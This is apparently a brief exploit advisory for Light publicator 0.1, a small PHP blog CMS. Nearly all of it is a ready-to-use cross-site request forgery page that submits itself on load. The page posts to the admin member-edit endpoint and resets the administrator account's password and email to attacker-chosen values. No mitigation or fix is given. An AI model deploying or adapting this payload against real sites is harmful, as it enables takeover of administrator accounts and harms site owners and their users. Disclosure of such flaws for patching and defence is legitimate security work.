# Version: 0.1
Introduction
------------
Light publicator is a php based, small blog CMS.
XSRF exploit
------------
1 2<body onload='document.forms[0].submit()'> 3<form method='post' action='http://[site]/admin/index.php?module=editmember&id=1'> 4 <input type='hidden' name='pseudo' value='admin'> 5 <input type='hidden' name='prenom' value='eee'> 6 <input type='hidden' name='nom' value=''> 7 <input type='hidden' name='genre' value='unknow'> 8 <input type='hidden' name='email' value='test@light-publicator.org'> 9 <input type='hidden' name='lang' value='1'> 10 <input type='hidden' name='style' value='1'> 11 <input type='hidden' name='password' value='passw0rd'> 12 <input type='hidden' name='password_confirm' value='passw0rd'> 13 <input type='hidden' name='edit_adminmember_candidate' value='on'> 14 15</form> 16</body>
Groucho